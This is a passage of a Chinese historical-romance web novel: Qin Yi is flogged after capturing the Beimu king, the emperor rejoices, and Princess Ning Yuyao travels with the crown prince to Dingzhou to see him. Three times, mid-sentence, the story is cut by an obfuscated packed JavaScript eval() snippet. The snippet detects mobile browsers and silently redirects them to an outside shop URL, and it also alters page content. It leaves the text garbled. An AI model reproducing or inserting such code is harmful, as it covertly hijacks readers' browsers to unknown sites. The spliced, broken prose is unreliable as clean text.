蒋老三握紧了拳头,怒吼一声,想要冲上去替秦都司受罚。 严耕死死地按住他,声音嘶哑地低声提醒道:“别冲动,否则秦都司这罪就白受了!” 将老三听懂了严耕的言外之意,他抱着头蹲在地上无声痛哭。 时间仿佛变得无比漫长,八十军棍,每一棍都似打在将士们的心上。当最后一棍落下,秦熠的身体微微晃动,但很快他又挺直了脊梁。 尽管行刑的士兵已有意手下留情,但八十军棍过后,还是让秦熠的背部变得血肉模糊,鲜血染红了他身下的细沙。 秦秀灵再也忍不住,快步跑到秦熠身边,颤抖着双手想要触碰秦熠,却又怕弄疼了他。 秦熠微微侧头,给了姐姐一个虚弱的微笑,示意她不要担心。 严耕松开按着蒋老三的手,抹了把脸上的泪水,立即上前背起秦熠,蒋老三等人跟在身后,小心翼翼地将秦熠送进军医的营帐。 秦熠趴在床上,任由军医为他上药,尽管疼得脸色发白,额角青筋凸起,他仍神色平静地对严耕说:“严哥,你去忙吧,我没事。” 严耕拍了拍秦熠没受伤的手臂,“活着回来就好。” 秦熠露出笑容,不过片刻,他突然想起一事,“对了,北穆王……” “放心,这么多人在这,还能让他跑了不成。你安心养伤,剩下的事情就交给我们就行。” 军医处理完秦熠身上的伤口,医童端着药走进来,军医和声细语地对秦熠说:“秦都司,喝了药好好睡一觉,你底子好,很快便能痊愈。” 秦熠道谢后,接过碗一饮而尽,很快便沉沉睡去。 严耕走出营帐,看向大营外。只见北穆王城的士兵们都围在军营外,想要定北军交还北穆王。 他冷笑一声,到手的鸭子岂能让它飞了?简直是做梦! * “皇上!皇上!定北军秦将军八百里加急!”苏德茂快步走进德清宫。 尽管此时正值午膳时间,但军情永远居于首位。 承武帝赶紧放下筷子,接过苏德茂手中的密函。 “好!”承武帝刚看到第一行字便大声叫好,皇后、太子和宁玉瑶都放下碗筷,好奇地望向承武帝。 承武帝越看脸上笑容越盛:“秦熠真是个好小子!” 秦熠?宁玉瑶眼眸一亮,熠哥哥还活着? 大概是知道宁玉瑶着急,承武帝看完密函,挑了一句简单的话告诉众人:“北穆降了!秦熠率人潜入北穆王城,生擒北穆王,还在北穆王城放了一把火。” 此乃天大的喜讯! 宫内众人瞬间跪地,高呼万岁:“恭喜皇上!贺喜皇上!” 承武帝龙心大悦,笑容满面地叫众人起身,随后对苏德茂吩咐道:“传军机大臣进宫。” 承武帝转头看见满脸喜色的宁玉瑶,收敛笑容,严肃道:“不过,秦熠违抗军令,需依照军法处置。” 宁玉瑶瞬间瞪大了眼睛,难以置信地看着承武帝。 皇后见宁玉瑶这般模样,忍不住笑了起来。宁玉瑶这才反应过来承武帝这是在逗她,娇声说道:“舅舅!” 承武帝也笑了:“秦熠确有违抗军令之举,此乃事实。不过他立下如此大功,足以将功折罪。故而秦柏命人打他八十军棍以儆效尤,其余事宜呈报于朕,由朕处置。” 宁玉瑶眼巴巴地望着承武帝。 承武帝与皇后看着她这般乖巧的模样,不由得心软。承武帝放缓语气,轻声道:“既已罚过,此事便罢了。只是论功行赏之时,他的赏赐需酌情减少。” 宁玉瑶这才松了口气,恭维道:“舅舅英明神武。”只要活着就好,这些身外之物都没有命重要。 他们闲聊了片刻,苏德茂再度进来禀报:“陛下,军机大臣们已在军机处等候。” 承武帝这才起身,带着太子离开了德清宫。 恭送承武帝后,皇后转头看向阴霾尽散的宁玉瑶,打趣道:“这下可放心了?快吃些东西,瞧瞧你近日都瘦成什么样了。” 宁玉瑶脸颊微红,对着皇后撒娇似地笑了笑,赶紧端起碗筷继续用膳。 用过午膳,宁玉瑶便出宫回了长公主府。 “娘。”宁玉瑶寻到正在软榻上休憩的祁婧惠,趴在娘亲枕边,静静盯着她。 祁婧惠一睁眼便看见女儿近在咫尺的脸庞,没好气地推了推宁玉瑶的额头,“靠这么近做甚,怪吓人的。” 宁玉瑶嘻嘻一笑,踢掉绣鞋,直接爬上软 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13161706|133960||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 塌,赖在祁婧惠身上,“娘,您听说了吗?” 祁婧惠知道女儿在问什么,但故意逗她,板着脸问:“知道什么?娘今日一整天都待在家中,什么都不知道。” 宁玉瑶才不信,但还是乖乖说道:“熠哥哥生擒了北穆王,还烧了北穆王城呢。” 祁婧惠笑着点了点女儿的鼻尖,“就知道你惦记着他。” 宁玉瑶娇嗔地抱住娘亲的胳膊,“娘~” 祁婧惠看着女儿的模样,叹了口气,“你来是不是想问为何秦熠明明立了大功,却还要军法处置?” 宁玉瑶不好意思地笑着蹭娘亲的肩膀,就知道瞒不过娘亲。 祁婧惠轻轻拍着她的手,解释道:“军法如山,不可轻易违背。哪怕他立了大功,可违抗军令终归不对。但好在功过相抵,也未酿成大错。” “而且,”祁婧惠顿了顿,才轻声说道,“秦将军也是为了保住秦熠的命才下令斩立决。他身为一军主将,如果不摆明态度,必会有人以此为由攻讦定北军。到那时,秦熠如何定罪就不是秦柏能决定的了,秦将军也是算准了定北军众将士定会为秦熠求情,他才敢下此命令。” 宁玉瑶似懂非懂地点点头,不满地皱着鼻子,“秦将军和熠哥哥在战场拼杀已经如此辛苦,这些人还要使绊子,舅舅怎么不处置了他们。” 祁婧惠失笑,“孩子气。”她搂着女儿,轻声地从帝王心术讲到朝堂平衡。没过多久,感觉胳膊一沉,低头一看,没想到女儿已经睡着了。 她轻抚宁玉瑶沉睡中的脸庞,眼中满是笑意,到底是个无忧无虑的孩子。罢了罢了,这些事情有我们大人操心便好。 * 北穆围在大营外的士兵越来越多,定北军也一刻不敢松懈。 过了好些天,秦秀灵才得空去探望秦熠。没想到刚走到军医营帐前,便看到站在帐外悄悄朝里面张望的秦柏。 秦秀灵轻轻唤了一声:“爹!” 秦柏回过头,带着女儿往外多走了几步,才问道:“臭小子伤势如何?” “爹,放心吧,秦熠身强体壮,军医说用不了多久便能痊愈。” 秦柏松了口气,“那就好,你去看看他吧。”说完,他拍拍女儿的肩膀,转身就要离开。 秦秀灵看着爹爹愧疚的神情,轻声说:“爹,您放心,秦熠识大体,定能领会您的苦心。” 秦柏脚步微微一顿,他怎会不知,只是儿子伤成这样,他身为父亲,如何不心痛。 秦秀灵抿唇望着父亲远去的背影,整理好心情,才转身前往军医营帐。 她掀开帐帘,便瞧见赤裸着上身趴在床上一脸无聊的秦熠,问道:“伤口还疼吗?” 秦熠回头看到是姐姐,咧着嘴笑道:“这有什么疼的,阿姐太小看我了。” 秦秀灵坐到床边,看着弟弟背上的伤痕,沉默良久,才轻声说:“秦熠,别怪爹爹。” 秦熠笑容不变,脸上不见丝毫怨怼之色,“阿姐,我明白的,爹爹也是为了大局考虑。” 秦秀灵欣慰地拍了拍弟弟的头,“臭小子懂事了,好好养伤,再过几天我们便拔营回定州。” “这么快?”秦熠有些诧异,“北穆愿意放我们离开?” 秦秀灵冷笑:“文攸礼自然不愿意,但其他部族都巴不得我们赶紧带走北穆王。” 秦熠马上明白其中缘由,无非就是争权夺利那点子事,不过北穆内部的事他可不操心。 “那北穆王如何处置?”秦熠又问。 “听爹说要邀请北穆王去雁京小住一段时日。” 秦熠眼珠一转,这是否意味着这场仗打完了? 他一个武将,只管打仗,其他事情一概不管。 秦熠趴在床上,喜上眉梢,不知道能否早些回雁京。 50.出发 自北穆王被擒之后,朝堂之上对于北穆的处置便争议不断。 原本大宸只是打算震慑北穆一番,然而秦熠一招擒贼先擒王,使得部分朝臣的野心愈发膨胀,想要一举剿灭北穆,以除后患。 但原本的主战派中却有许多人转而反对起来,理由便是北穆之地荒凉,环境复杂,部族众多,管理起来极为困难。盲目扩张国土,若管理不善,反而会引发祸患。 如此这般,争论了大半个月仍未得出结果。 宁玉瑶刚与小鱼儿在外面小聚归来,便看到下朝后头晕脑胀的宁渊。 她同情地看了一眼爹爹,平日光是在茶楼听外面的书生们高谈阔论都觉得吵得慌,朝中的大臣们个个能言善辩,想必爹爹这些日子定是头疼不已。 宁渊好笑地弹了弹宁玉瑶的额头,“你这是什么表情。” 宁玉瑶摸着额头,立刻换上笑脸:“爹,他们还要吵多久?” 雁京这边一直没结果,秦将军就只能留在定州无法班师回朝。 宁渊自然明白女儿的心思,无奈道:“快了,这几日便会有结果。” 如今北穆局势错综复杂,必须要趁北穆现在正乱的时候谋取利益,否则一旦北穆选定新王,那现在这个王便失去了价值。 这些日子,尽管朝堂上的争论依旧激烈,但想必陛下心中早已有了决断。 果然如宁渊所言,没过几日,承武帝便下旨,令鸿胪寺少卿沈为使臣前往雅赞城和谈,五日后启程。 圣旨下达后,沈府内众人开始筹备沈少卿出行所需的各类物品。与此同时,诚国公府也陷入一片忙碌之中。 承武帝下令由宁璟瑞负责护送沈少卿前往定州。 接完圣旨的宁玉瑶,心思瞬间活络起来。 此次出使北穆,领头的是沈瑜的父亲沈大人,负责护卫的又是自己的亲哥哥,都是熟人,此等机会着实难得。 “娘,您就答应女儿这一回吧。”宁玉瑶双手紧紧环住祁婧惠的手臂,轻轻摇晃着,“女儿自幼在这雁京城中长大,从未见过外面的世界是何模样。女儿也想出去见见世面,增长见识。” 祁婧惠板着脸,一言不发。 宁玉瑶见母亲不为所动,心中不免焦急。她侧过头,悄悄瞥了一眼父亲。 宁渊坐在那里品茶,仿佛什么都没察觉到。 眼见父亲指望不上,宁玉瑶只得继续轻声软语地求着母亲:“娘,女儿保证会乖乖听哥哥的话,绝不惹是生非。您就放心让女儿去吧,好不好嘛,好不好嘛。” 她一边说着,一边用头轻轻蹭着母亲的肩膀。 祁婧惠瞧着女儿这般模样,手指点了点宁玉瑶的额头,叹息道:“真是把你给惯坏了,天天在外面玩耍,性子越发野了。现在竟然还想去定州,定州距离大宸千里之遥,一路上旅途艰辛,你从小锦衣玉食,哪里吃过这种苦头。” 宁玉瑶丝毫没有被母亲的话吓到,反而更加用力地抱着祁婧惠的胳膊,娇声道:“娘,女儿不怕吃苦,权当是历练一番嘛。” “此去定州,路途遥远。倘若有个什么意外,娘怎能心安?” 宁玉瑶听到这话,连忙保证:“娘,这次有沈大人带队,而且还有众多护卫跟随。再说了,有哥哥在,他必定会护我周全。” 祁婧惠却眉头一皱,严肃道:“胡闹!你哥哥此次公务在身,需护卫沈大人周全,怎可分心照顾你?此次前往定州事关重大,你莫要任性妄为。” 宁玉瑶意识到自己说错话了,垂着头,呐呐不敢多言。 一直沉默的宁渊此时放下茶盏,神色平静地说道:“你母亲所言极是,沈大人和璟瑞此次皆是奉陛下之命前往定州,你求你母亲也无济于事。还不快退下,别惹你母亲心烦。” 宁玉瑶听到父亲的话,先是怔了一下,随即眼睛一转,立刻明白了父亲的暗示。她的脸上再度绽放笑容,欢快地说:“爹,娘,女儿今日在宫里留宿,不回来了。” 随后不等祁婧惠反应,直接跑了出去。 * 五日后,雁京城北。 清晨的阳光倾洒在地面,一列马车停在城门口,家眷们正在与即将出远门的亲人们依依惜别。 祁婧惠一脸愠怒地站在一辆装饰华美的马车旁,脸上挂满寒霜。 宁渊则有些心虚地站在妻子身边,不时地偷瞄妻子的神色,却不敢吭声。 谁能想到,女儿进宫次日便拿着圣旨归来。陛下不但准许瑶儿前往定州,还让太子也一同前往。 圣旨一下,嘉阳长公主差点把御书房给掀了,闹得皇后娘娘都急忙赶去御书房劝和。准确来说,是哄劝盛怒中的长公主。 最后也不知这两姐弟在里面说了些什么,总之嘉阳长公主同意了太子和宁玉瑶出行。 只是从那日起,嘉阳长公主便一直宿在长公主府,甚至将两府之间的隔门给锁上了,不准诚国公进入长公主府。 刚跟沈瑜告别回来的宁玉瑶,看到祁婧惠的脸色,便知娘亲仍余怒未消,赶忙走过来抱住娘亲的胳膊,撒娇道:“娘,您就放心吧,女儿肯定会乖乖听沈大人的话,绝不离开哥哥半步!” “少给你哥哥找麻烦就不错了。”祁婧惠无奈道。 宁璟瑞站在一旁,心里也是苦不堪言。 此次行程山高路远,原本护送沈大人的任务就责任重大,现在妹妹要一同前往也就罢了,没想到还带上了太子殿下。这可容不得半点差错,稍有不慎那可真是万死难辞其咎。 这些日子,他着实愁得好些天没睡个好觉了。 姜婉珍带着孩子们站在丈夫身旁,看着丈夫这般模样,既心疼又觉得好笑。 她将怀中的小儿子放到丈夫手中,轻声安慰道:“别担心,瑶儿虽然活泼,但也是个懂事的孩子。” 宁璟瑞抱着小儿子,摸了摸腿边女儿的头,不再苦着脸,转而叮嘱妻子:“我不在府上的日子就辛苦你了,若有事情尽管去找母亲。” 姜婉珍心中熨帖,含笑点头。 辰时一到,太子的车驾从皇城中驶出,五皇子祁晖琅哭哭啼啼地坐在太子身边,小脸上满是委屈。 太子轻声安抚着弟弟,自从得知阿姐和他要出门远行,小五便觉得自己被抛下了,在母后那里哭闹了许久。母后怎么哄都哄不好,太子只得亲自将他接了过来。 宁玉瑶也看见了满脸泪水的祁晖琅,连忙登上太子的马车,在小五身旁坐下。 她从一旁的宫女手中接过手帕,为小五擦拭眼泪,低头在他耳边轻声说了几句话。 祁晖琅抬起头,眼睛含泪看着阿姐:“真的吗?” 太子看见弟弟的脸,险些笑出声,阿姐显然从未照顾过人,此时弟弟的脸上涕泪纵横,比擦之前更加狼狈。 宁玉瑶也看到了小五乱七八糟的脸,轻咳一声,赶紧把手帕还给宫女。等宫女将小五的脸擦干净,才捏了捏他的脸颊,佯怒道:“阿姐何时骗过你。” 祁晖琅这才高兴起来:“好,那琅儿在宫里等阿姐回来。” 太子惊讶地看了宁玉瑶一眼,不知道阿姐说了什么能这么快就哄好弟弟。 宁玉瑶朝太子眨眨眼,太子立即收起自己的好奇 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13176243|133960||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 心,不管到时候又是哪个倒霉蛋要去找父皇和姑母哭诉,他都不想被阿姐拉去胡闹。 此时,侍卫来报,一切准备妥当。 太子将弟弟交给姑母嘉阳长公主,随即下令,启程。 送行的家眷们赶紧退到一旁,侍卫们骑着马环绕在车队四周,沈大人的马车走在最前面,中间是太子和孙太傅的马车,其后是明安郡主,最后则是装载行李及侍女们的马车。 这次承武帝虽然准许太子出行,但早已言明,太子的课业不准落下,特让孙太傅随太子同行教导功课。 车队前行扬起的尘埃在阳光下如同金色的薄纱,轻柔地笼罩着车队。车轮滚滚的声音渐渐远去,车队离开了雁京城。 祁婧惠站在原地,看着儿女们的身影渐渐消失不见,心中满是惆怅。 宁渊轻声安慰道:“有这么多人跟着,放心吧,不会有事的。” 然而,祁婧惠并不想搭理这个罪魁祸首。 宁渊叹了口气,只得拿出袖中的布条转移话题道:“正好今日出城了,我们顺道去护国寺找主持把它处理掉。” 宁渊手中的布条便是秦熠在北穆王城夺来的,写有宁玉瑶名字的冥婚布条。秦熠不知该如何处理它,便夹在奏折中禀报承武帝,承武帝自然将它交给了宁渊。 提及此事,祁婧惠的脸色更加冷了几分。她转头吩咐姜婉珍先带着孩子们回府,然后接过宁渊手中的布条,恨声道:“一老一小,都敢打瑶儿的主意,真当本宫不存在吗?” “别生气,陛下已经邀请北穆王来雁京做客了,到时候我们好好尽一尽地主之谊便是。” * 最初的几天,宁玉瑶觉得一切都很新鲜,每天兴致盎然地看着窗外不停变换的风景。 远处的青山连绵起伏,近处田野中的金色麦浪滚滚涌动,就连路边最为寻常的野花都让她欣赏不已。 然而,日日困在马车上,不能随意走动,宁玉瑶渐渐感到烦闷。而且随着他们离雁京越来越远,即便是官道也越来越颠簸,宁玉瑶在马车中被颠得七荤八素。 尽管嘉阳长公主气她胡闹,但还是命人精心布置了一番出行的马车。车上柔软的垫子铺满了整个车厢,精致的小桌上摆放着各种水果和点心,还有暗格中备下的各种药物和日常用具,就为了让宁玉瑶在路上能够舒服些。 即便如此,过了不到五日,宁玉瑶便无精打采地躺在马车上,觉得浑身都难受。青黛和青筱轮流给她打扇子,试图为她带来一丝清凉,缓解她的不适,却收效甚微。 休息时,太子听闻明安郡主身体不适,特地过来探望。 他见宁玉瑶无精打采的模样,调侃道:“阿姐,前些日子你可是特意求父皇准许你出来,这才几日就变成这般模样了。” 宁玉瑶没好气地瞪了太子一眼,但实在没力气反驳他。她只觉浑身乏力,脑袋昏沉,哪还有心思与太子斗嘴。 宁璟瑞看着妹妹,既觉得好笑又满心心疼,问道:“如今离雁京还不算远,要不现在就让侍卫们送你回去?” 宁玉瑶强打起精神,倔强地说:“不,不回去,哪有刚出来就打退堂鼓的道理。” 况且若是半途而废,往后再想出来可就难上加难了。所以这次无论多么辛苦都要咬牙坚持过去。 宁璟瑞摇摇头,实在不明白妹妹是怎么想的。娇生惯养了这么多年,非要出来吃这份苦。但见她如此坚持,只好说道:“要是难受了就告诉哥哥,别硬撑着。” 宁玉瑶摸着脖子上的小金鼠,朝哥哥挥了挥手,“知道了知道了,快出发吧。” 51.定州 越往北方走,路边的景致越发荒凉。大地上草木渐稀,山峦也呈现出萧索之态。 太子虽然年幼,状态却比宁玉瑶好许多。一路行来,他不仅要仔细记住沿途的风土地貌,每到一处,孙太傅还会依据不同的水土和风貌提出相应的治理之策。 每日光是牢记这些便耗费了他不少精力,根本无暇关注其他事物。 而宁玉瑶则不同,她每日无所事事,只能望着窗外单调的景色发呆,就连事先特意准备的话本子都提不起兴趣。 越是无聊便越觉得难熬。 就在太子觉得时间一闪而过,宁玉瑶却度日如年的时候,一行人终于抵达了定州。 定州城的城墙很高,远远望去,犹如一道坚实的屏障。城墙由巨大的青石砌成,这些青石紧密地排列着,比雁京城的城墙更加巍峨壮观。 城墙表面布满了斑驳的痕迹和深浅不一的沟壑,高处还有一些深褐色的污渍,城楼顶上的瞭望塔高耸入云,绣着“大宸”字样的旗帜在狂风中猎猎作响。 众人下了马车,仰头看着这座饱经战火摧残的古老城池。 秦柏和定州知府站在城门前,正欲向太子行礼。 就在这时,一阵孩童的惊叫声从远处传来,那惊叫声中还夹杂着大笑声,声音由远及近,愈发清晰。 秦柏听到这声音,脸色越来越黑。 其他人好奇地朝着声音传来的方向望去,只见一匹黑色骏马拉着一辆破旧的板车,以超乎寻常的速度朝这边疾驰而来。 板车上坐着一个年轻男子,手中挥舞着马鞭。后面则坐着几个孩童,尖叫声正是他们发出的。不过从他们脸上的笑容来看,明显是兴奋多于害怕。 秦熠远远地就看到城门口的车队,心中暗自叫糟。他本以为太子一行还要晚些时候才能到,于是放心地带着孩子们去玩了一圈。没曾想,太子竟然不到申时就提前抵达了。 秦熠刚想调转马车赶紧溜之大吉,蓦地看见人群中有一个年轻女子。那女子气质不凡,发髻上的红宝石在阳光下散发着耀眼的光芒。 明安! 秦熠也顾不上会挨揍,赶紧停下马车,慌忙跑到亲爹秦柏身后站着。 马车上的孩童们见状,嬉笑着跳下板车,一哄而散,向城里跑去。 秦柏看着这混乱的一幕,脸色愈发阴沉,他怒视秦熠。不过,此时不是追究这些的时候。他马上躬身向太子请罪:“犬子无状,惊扰了太子殿下,请殿下责罚。” 祁晖珏对这位生擒北穆王的功臣颇有好感,他微笑着摆摆手,不甚在意地说:“无妨,不过是孩子们玩闹罢了。” 秦柏松了口气,连忙让秦熠过来向太子行礼。秦熠恭恭敬敬地行了礼,眼神却不时地往宁玉瑶那边瞟。 宁玉瑶站在人群中,仔细地打量着秦熠。熠哥哥身形依旧挺拔,只是看上去似乎瘦了些,不过那双眼眸明亮有神,精神饱满。 这些日子以来,宁玉瑶心中一直牵挂着秦熠,担忧他的伤势。如今亲眼见到他安然无恙,悬着多日的心终于放下。 宁玉瑶见秦熠的眼神一直在乱瞄,狠狠地瞪了他一眼,让他老实点。秦熠这才不再乱看,规规矩矩地站在那里。 秦柏引着一行人进了城。 众人被安置在定州府衙中,定州知府早已命人准备好接风宴,为太子一行接风洗尘。 考虑到太子一路舟车劳顿,接风宴上,众人并未过多客套寒暄,只是简单用过晚膳后,便各自回房休息了。 宁璟瑞将宁玉瑶送到她暂住的院子,远远便瞧见秦熠站在门前那棵葱郁的云杉树下。 宁璟瑞微微一笑,对宁玉瑶说:“我去太子那里了,你好好休息。” 正欲离开时,他突然想到妹妹和秦熠都是胡闹的性子,补充道:“不准到处乱跑!” 宁玉瑶俏皮地朝着哥哥做了个鬼脸:“知道啦,哥!” 宁璟瑞无奈地摇摇头,转身离开。 宁玉瑶转头看向秦熠,脸上满是欢喜:“熠哥哥!” 秦熠的目光始终落在少女身上,一年未见,明安又长高了些许,可瞧着比以前更消瘦了。再加之这近二十日的风餐露宿,此刻的她看上去略显憔悴。 最初看到明安头上那支金簪时的喜悦,此时已消逝无踪,满心满眼只剩对她的疼惜。 秦熠向前走了几步,来到宁玉瑶身前,伸手理了理她额前被风吹乱的发丝,轻声说:“我就来看看,你今日好好歇息,明日我带你出去玩。” 宁玉瑶脸颊泛红,虽还想与熠哥哥多聊几句,但确实有些疲倦,况且这次在定州要停留的时间不短,她也不跟秦熠客气:“好,熠哥哥明日早些过来。” 秦熠点头应下,看着她带侍女们走进院子,才收回视线。 刚迈出定州府衙后院的门槛,秦熠便瞧见亲爹正站在大门口,手中还握着一根军棍。 秦熠的脚步陡然一滞,正要翻墙逃跑,背后就传来秦柏阴森森的声音:“跑啊,你敢跑试试,跑了就把你关进定北军大牢,等太子回京了再出来!” 一听这话,秦熠不敢动弹。他护住自己的脸,扯着嗓子喊道:“爹,别打脸,别让明安瞧出来了!” 不用秦熠多说,秦柏自然心中有数。他毫不留情地朝着秦熠的屁股狠抽了几棍子,直到心中的怒气消散了几分才停手。 他扔掉手中的棍子,又在秦熠头上用力拍了几下,边拍边骂道:“早就跟你说过,让你老老实实在城门口等着,结果一转眼的工夫你就又跑出去撒野,没有半点规矩!” “您也没说明安会来啊……”秦熠小声嘟囔着,倘若早知道明安会来定州,他保证从昨晚开始就老老实实守在城门口,半点儿都不挪窝。 秦柏愈发气恼,明安,明安,满脑子就知道明安!早说了要恭迎太子,这小子的脑子究竟丢到哪儿去了!要不是明安郡主在旁,就他这荒唐行径,指不定会被安上个什么大不敬的罪名! 秦熠瞧着爹怒发冲冠的模样,赶忙低下头保证道:“我知道错了,爹,您放心,绝不会有下次了。” “还下次!下次你给老子滚得远远的!” 秦熠嘿嘿一笑:“好嘞, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13188150|133960||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我这就滚。” 秦柏望着儿子欢蹦乱跳跑远的背影,愁得头痛欲裂。怎么就生出了这么个憨货?平日里也没个正经模样,明明在战场上的时候,英勇得也挺像个人啊。 * 翌日清晨,清脆的鸟鸣声透过半开的窗棂传入屋内,将宁玉瑶从沉睡中唤醒。 屋内,阳光透过窗纱,洒下一片柔和的光晕。一应物件已被侍女们换成她惯用的,熟悉的布置令乍一睁眼的她有些恍惚,以为自己回到了雁京。 青黛听到屋内的动静,挑起帘子进来:“郡主您醒了,秦都司已经在外面候着了。” 宁玉瑶这才回神,坐起身问道:“熠哥哥来了多久?” “快一个时辰了,”青筱端着温水走进来,“秦都司不让奴婢们叫醒您,说让您多睡会儿。” 宁玉瑶闻言,赶忙下床梳洗,不多时便穿戴整齐,快步走出房门。 只见秦熠身姿挺拔地静静站在院子外,阳光洒落在他身上,仿佛为他镀上了一层金边,更显俊逸非凡。 “熠哥哥,等了这么久,怎么不让人叫醒我。”宁玉瑶嗔怪道。 秦熠微微一笑:“不算久,你一路奔波劳顿,多睡会儿也是应当的。”说罢,他叫上侍卫,领着宁玉瑶往外走。 宁玉瑶见他们所行是出府衙的方向,满心疑惑,问道:“熠哥哥,我们这是去哪?” “今儿带你去定州城逛逛,”秦熠解释道,“放心,我已经禀报过殿下和世子了。” 一行人踏出府衙,一幅热闹却又稍显破败的景象便映入眼中。 街边的摊贩此起彼伏地吆喝着,孩童们在人群中嬉笑奔跑,为这略显萧条的街道增添了几分生机。 昨日宁玉瑶一行来得仓促,未及细瞧定州城内的风貌。今日一见,靠近府衙的区域,情况尚好,多是由青砖修葺而成的商铺,偶有几家店铺门前还挂着鲜亮的幌子。 然而随着他们远离府衙,街道变得狭窄。两旁的房屋,大多是低矮的石屋或土坯房,屋顶覆盖着厚厚的茅草。 不仅如此,不管是青砖屋还是土坯房,上面都布满了刀剑刻下的痕迹。 再瞧街上的行人,他们身上多是灰褐色的布衣,破旧的衣服上满是补丁。更有甚者,连补丁都无法打上,衣物破烂得勉强能够蔽体。 宁玉瑶初时还兴致勃勃,可越走却愈发沉默。她虽曾见过被摧残的雁京城,可这次在定州,才惊觉自己对贫穷的认知是如此浅薄。 秦熠一直关注着宁玉瑶,看她闷闷不乐的模样,轻声说:“明安,别看他们现在这样,但已经比前些年好多了。” 宁玉瑶知道他所指的是前几年北穆侵犯大宸,在定州一带烧杀掳掠的惨事。 她定了定神,仔细观察着定州百姓脸上的神情,尽管生活依旧困苦,但他们的脸上都带着笑容。 宁玉瑶转头看向眼前这位立下赫赫战功的秦小将军:“熠哥哥,往后不会再有那样的事了对不对。” 秦熠剑眉一扬,傲然笑道:“那是自然,他们若还敢再来,我就再烧一次王城!” 52.心疼 秦熠带着宁玉瑶穿过热闹的集市,来到这条街上唯一的一家二层商铺门前,含笑说道:“这家酒楼的菜肴堪称定州一绝,我们来尝尝。” 两人并肩走上楼去,寻了个靠窗的位置坐下。窗外,街道上的喧闹声隐隐传来,平添了几分烟火气息。 掌柜的一瞧见秦熠,连忙满脸堆笑地迎上前来招呼:“哎哟,秦小将军今日大驾光临,可真是令小店蓬荜生辉。” 说着赶紧招呼店小二:“快快快,告诉后厨,秦小将军来了,让他们亮出自己的看家本领!” 店小二得令,快速向后厨跑去。 秦熠叫住掌柜:“随便拿点吃的就行,莫要铺张浪费。” 掌柜亲自为秦熠和宁玉瑶斟上店里最好的茶水,笑得见牙不见眼,说道:“瞧您这话,只要您吃得满意,哪会有浪费一说!” 宁玉瑶见他们这般,扑哧一笑:“想不到熠哥哥在定州如此受欢迎。” 掌柜早就从宁玉瑶的衣着打扮,以及周边侍卫与秦熠对她的态度瞧出,这位定是雁京城来的贵人。 他不敢怠慢,弯腰殷勤地说道:“那可不是,秦小将军斩杀了达瓦和札木哲,还生擒了北穆王,这可是定州这么多年来最大的喜事!秦小将军好不容易莅临小店,小的要是招待不周,东家定饶不了我!” 他这一通夸赞,就连向来脸皮厚的秦熠都有些不好意思,可宁玉瑶却满心欢喜,脸上的笑容愈发明媚。 不多时,菜肴陆续端了上来。掌柜的自然不会杵在这里碍眼,给贵人们简单介绍一番后,便识趣地退下了。 满桌色香味俱佳的菜肴散发着诱人的香气,宁玉瑶却并未动筷,而是弯着如月牙般的眼睛,笑意盈盈地看着秦熠,称赞道:“熠哥哥真厉害。” 秦熠因在沙漠中暴晒后微深的肤色原本看不出脸红,然而此刻他的耳朵却出卖了他。被宁玉瑶这么一夸,秦熠的耳垂红得几近滴血。 他略显慌乱,掩饰般拿起桌上的小刀,熟练地将面前的烤羊排拆解下来,把最嫩的部位夹到宁玉瑶碗中,转移话题道:“明安饿了吧,快来尝尝定州的烤羊排。” 宁玉瑶见他这般,不再打趣他,拿起筷子尝了一口。这羊肉鲜嫩多汁,口感上佳,竟比她在雁京城精心饲养的羊还要美味。她弯着眼睛,一脸惊喜地赞叹道:“好吃,比我家庄子养的羊口感更好。” 秦熠解释道:“定州羊与雁京不同,这边喂羊用的是特定的草料,生长环境也有所差别,所以肉质更嫩,也没有那么重的膻味。” “原来是这样。”宁玉瑶点点头,又多吃了几口。 秦熠见她如此喜欢,心中更是欣喜。 定州的菜肴不像雁京那般精致考究,每一盘的分量都颇为可观,或许是添加了定州特有的香料,即便所用的皆是一些常见的食材,却也烹制出了一种独特的风味。 宁玉瑶早膳历来清淡,而定州的菜肴却以大肉为主,她今日已比往常多吃了许多。没过多久,她就感到腹中饱胀。 秦熠知道宁玉瑶的食量向来不大,见她吃饱了,便不再客气,分了几道菜给侍卫们后,便风卷残云般将剩下的菜肴一扫而空。 宁玉瑶见他大口吃饭的模样忍不住蹙眉,明明从前熠哥哥用膳时不会如此狼吞虎咽。她垂下眼眸,掩住自己心中的酸楚,不知熠哥哥在失踪的那段时日究竟吃了多少苦头。 等秦熠吃饱喝足,宁玉瑶脸上已看不出半点异样,她神色自若地问:“熠哥哥,你不需要去操练吗?” 